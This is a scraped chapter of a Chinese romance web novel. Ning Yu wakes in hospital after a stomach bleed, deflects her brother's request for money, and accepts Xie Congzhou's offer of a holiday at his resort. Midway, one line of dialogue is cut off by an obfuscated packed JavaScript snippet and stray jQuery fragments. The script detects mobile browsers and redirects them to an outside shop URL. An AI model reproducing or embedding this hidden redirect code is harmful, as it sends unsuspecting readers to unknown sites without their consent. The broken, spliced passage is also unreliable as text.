3. 挖呀挖

作品:《墙根下[先婚]

    宁豫是被手机不停的震动声吵醒的。


    长时间的缺少睡眠,现如今没有担忧的睡觉让她体验感很好,本能的不想从优良的深度睡眠里抽身,皱着眉好一会儿才恢复意识。


    她闭着眼摸到手机接通电话,放到耳边:“喂……”


    喝过酒直接睡觉,声音嘶哑的厉害,基本就是传说中的‘破锣嗓子’。


    “姐!你在哪儿呢?打这么久电话也不接!”电话对面的男声风风火火,着急忙慌:“我有急事儿找你!”


    你能有什么急事。


    宁豫在心里默默的腹诽,不咸不淡地应了声:“嗯。”


    “姐,你借我点钱吧。”宁晟拔高的声调因为在求人本能的弱下来,带了一丝卑微:“我真是急事儿,你给我转五十万行么?”


    宁豫:“……”


    “呃,姐,你怎么不说话?”宁晟有些惴惴不安,声音又低了几度:“要不,三十万也行,爷爷把我的卡全冻结了,爸妈一分钱都不敢给我,我这一点零花钱都没有也没面子啊。姐,咱们全家只有你敢给我钱了,求你了姐,姐。”


    一个大男生说着要零花钱,竟像是撒娇耍赖似的。


    这货平日里不怎么给她打电话,一打电话准是又缺钱来伸手要钱了,比天气预报都准。


    宁豫被他气的半死,只觉得刚好的胃都又疼了,她张口想骂他,但饱受摧残的嗓子一口气没上来反而灌进去了风。


    激的她疼痛不堪,咳嗽的停不下来。


    宁豫咳的眼泪都出来了,本来平躺的身子不得不坐直顺气,闭着的眼睛这才舍得睁开。


    结果就看见一杯水递到自己的面前。


    她意识到房间里有人,立刻克制住了咳嗽声。


    宁豫顺着那只握着水杯的修长手腕看过去,依旧是谢枞舟笑吟吟的脸。


    “给。”他也不知道旁听了多久,才会这么及时的把水递过来,一脸无辜:“喝两口吧,你嗓子不疼么?”


    “姐?姐?你怎么了?”电话对面的宁晟是又着急又疑惑:“你旁边谁在说话?”


    “我一会儿打给你。”宁豫说完就把电话挂了。


    “宁晟?”显然谢枞舟已经听到电话些许的内容,毕竟在绝对封闭的安静空间里,手机保密性再好也会泄露出声音的。


    他见宁豫不接水杯,干脆拿回来自己喝了口,笑道:“他还是老样子啊。”


    标准败家子的老样子。


    打电话过来明明听见姐姐的声音不对劲儿,第一反应竟然不是关心一下,依旧是要钱。


    宁豫无意和他讨论自己家里人是个什么样子,只轻声问:“你怎么还在这里?”


    “嫂子,我难道要把你一个人扔在医院么?”谢枞舟轻笑了声,眼底却划过一丝不易察觉的冷:“你不但胃出血,血小板也低的吓人…到底是喝了多少酒?”


    他最后半句话,竟然带上几分感慨的味道。


    宁豫不语,目光落在自己扎着针头的白皙手背上。


    “你的血管很明显。”谢枞舟和她一起看过去,戏谑道:“护士说这样的血管最好扎了,所以她动作很轻。”


    轻到没有打扰到她的沉睡。


    但宁豫知道,谢枞舟是在暗示她过于瘦了。


    倒也是,这一个月就没有吃过一顿好饭。


    她下意识的想摸摸自己的脸,但又把这种冲动克制住,只是点了点头。


    “谢谢。”宁豫再次道谢,看向吊瓶里所剩无几的液体:“是你帮我看着的吊水?”


    “是啊。”谢枞舟眨了眨眼:“我人好吧。”


    ……


    没想到有半年多的时间未见,他还是这般不要脸。


    宁豫难得被逗到,抿唇笑了笑:“嗯,我现在醒了可以自己看着,就不麻烦你了。”


    “你让我好人做到底吧,反正这是最后一瓶了。”谢枞舟耸了耸肩:“完事送你回家。”


    “不用了。”宁豫下意识的拒绝,等说完才意识到自己的口吻太生硬,忙补充了句:“太耽误你的时间了。”


    谢枞舟:“你本来就耽误一下午了。”


    “……”


    “不过没事。”谢枞舟看了眼手表,笑笑:“反正我今天没什么事,就当帮…嫂子的忙了。”


    ‘嫂子’这个称呼真是让宁豫怎么听怎么别扭,偏偏眼前这人还挺喜欢这么叫的。


    她皱了皱眉,只好说:“那麻烦你了。”


    想想她和谢枞舟从少年时期就认识,也当过同学,的确不是生疏到连个忙都不能帮的关系,况且,自己是被他送来的,没有车回去。


    要是点完滴还得在秋末寒风里排队打车,未免有些太凄惨了。


    宁豫看了眼手机上的时间,才发现自己已经睡了两个小时了。


    怪不得三瓶吊瓶都快点完。


    她无视了一连串的未接电话,点开微信看了眼。


    徐助理已经把和天维签下合约的事情公之于众,宁氏大大小小的员工群里皆是欢呼雀跃的声音。


    宁豫细长的手指翻动,看着看着唇角就带上一丝笑意。


    她之所以这么不要命的努力,归根究底就是为了看到这样的反馈罢了。


    只是宁豫专注看手机,并没有发现谢枞舟在看她。


    而且是,肆无忌惮的看。


    屋内沉默半晌,男人忽然问:“什么时候回国的?”


    “两个月前。”宁豫正在回信息,不假思索地回答:“比你晚三个月。”


    谢枞舟一听就笑了:“你还记得我什么时候回来的呐。”


    嘿,足够让人开心了。


    “不是你跟我说的么?”宁豫放下手机,抬眸看他一眼。


    他们之前都在慕尼黑留学,虽然院校不同,但由于教学楼翻新的缘故,有两年是在一个校区生活的。


    那段时间,还常常遇到呢。


    “是啊,我跟你说的。”谢枞舟笑着回应了一句,顷刻便转移话题:“回来后和阿逞见过没?”


    “还没有。”宁豫摇了摇头,诚实的回答:“都太忙了,不过……”


    “最近可以见了。”


    她忙完了。


    宁豫提起李之逞的时候,一向平静中带着点严肃的情绪就变了。


    虽然波动不大,但眉梢眼角多多少少也能透露出一点点缱绻温柔的女人家情绪。


    那是喜欢一个人才会有的表现。


    不了解宁豫的人,是看不出来这细小的变化的。


    可偏偏谢枞舟很了解,甚至,他比任何人都了解。


    所以才会因为她一个浅浅的表情,就搅得五脏六腑仿佛都错位,生疼。


    “是啊。”谢枞舟配合的笑着,喃喃道:“你不忙了,就有时间可以约会了。”


    可是,李之逞那个家伙是粗心的。


    会不会做点好吃的帮她养胃,又或者,督促她吃生血小板的药呢?


    他不会的,那家伙的身边有另外一个女人。


    “嗯?”宁豫没太听清他的嘟囔,追问了句:“你说什么?”


    “没什么,说你该好好休息一阵子了。”谢枞舟微微低头,额前偏长的碎发落在眼睫上:“血小板偏低这种事别不以为然,不注意


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595739|187436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的话,容易发展成别的病。”


    这句真情实意的关心让宁豫愣了下,有点不知道说什么好。


    她莫名觉得挺讽刺的。


    天维签约成功后,她消失这大半天都没有接到父母的电话,唯一打过来的宁晟还是和她要钱的。


    家里人,反倒没有谢枞舟这种外人更关心她。


    不过,自己也应该早就习惯了不是么?


    大家族里,哪有那么多兄友弟恭慈善和睦,有的只是不顾一切向上爬罢了。


    从被宁从光当作继承人培养的那天,宁豫就已经做好了时刻会成为‘众矢之的’的准备。


    宁豫迅速收起了一些不该有的情绪,恢复如常。


    “谢谢,我会按时吃药的。”她对谢枞舟笑了笑:“接下来倒是可以休息一周。”


    三个大单子都忙完了,不管是从心里还是生理的角度上,她也确实该给自己放个假。


    “一周?”谢枞舟挑了下眉:“这么短?”


    “短么?”宁豫不以为然:“不短了,过后还有一个合同要谈。”


    那家只会比天维更难搞。


    想到此处,她这个工作狂就若有所思地皱起眉了。


    谢枞舟几乎都能看出来她的内心想法,哭笑不得。


    “生病就别想工作了。”他站起来,走到病床旁边握住输液管,试图让进入宁豫体内的液体温吞一些。


    男人个子很高,突然站起来会有一种短暂的骤然压迫感。


    尤其是他还走近,微微弯身,一双漂亮的桃花眼眨也不眨地看着她,仿佛很认真地问:“宁豫,你要不要去一个好玩的地方?”


    这次没叫嫂子了。


    宁豫有一瞬间的愣神,可很快就找回情绪,面对他的询问,偏了偏头:“什么地方?”


    “度假山庄,在南山脚下。”谢枞舟直起身子,桃花眼弯起:“我投资的。”


    ……所以这是给自己的投资项目拉客源吗?


    宁豫思索片刻,点了点头:“可以试试。”


    反正她是要给自己放个假,去哪里都一样。


    眼见着吊瓶里的液体到底,宁豫想站起来摁墙上的护士铃。


    只不过谢枞舟更快一步,帮她按了。


    宁豫的指尖不小心碰到他微凉的手背,轻轻一怔,连忙缩了回来。


    “呃。”她有些别扭的转移话题:“度假山庄的具体位置在哪儿。”


    “甭担心。”谢枞舟也和没事人一样,笑了笑:“到时候一起去。”


    “啊?”宁豫不明所以。


    “我是股东啊,经常要去看看的。”谢枞舟说得理所当然:“拉你过去也就是顺路的事,或者,把阿逞也叫上?”


    宁豫一愣,倒是真的顺着他的话想了想。


    自己欲盖祢彰的话成了一个有可能促成的约会,谢枞舟此刻,就是很想给自己一巴掌。


    不过幸好,护士推门进来了。


    拔针打断了宁豫的遐思,她纤细的指尖摁着棉球止血。


    谢枞舟见状,拿起她的大衣帮她披在身上。


    男人微微俯身的时候,藏在衬衫里的项链顺着他线条分明的一字锁骨向下滑,不老实的窜了出来。


    白金的冷感很抓眼,宁豫不自觉的抬眸去看——谢枞舟的项链很简洁,吊坠就是一个颇有设计感的‘Y’字母。


    比起他花里胡哨的穿衣风格,配饰真是过于简单了。


    宁豫的视线不自觉从吊坠落在谢枞舟的衬衫上,除了花哨,还有一丝香艳。


    例如,他衬衫领口若隐若现的一丝红色唇印。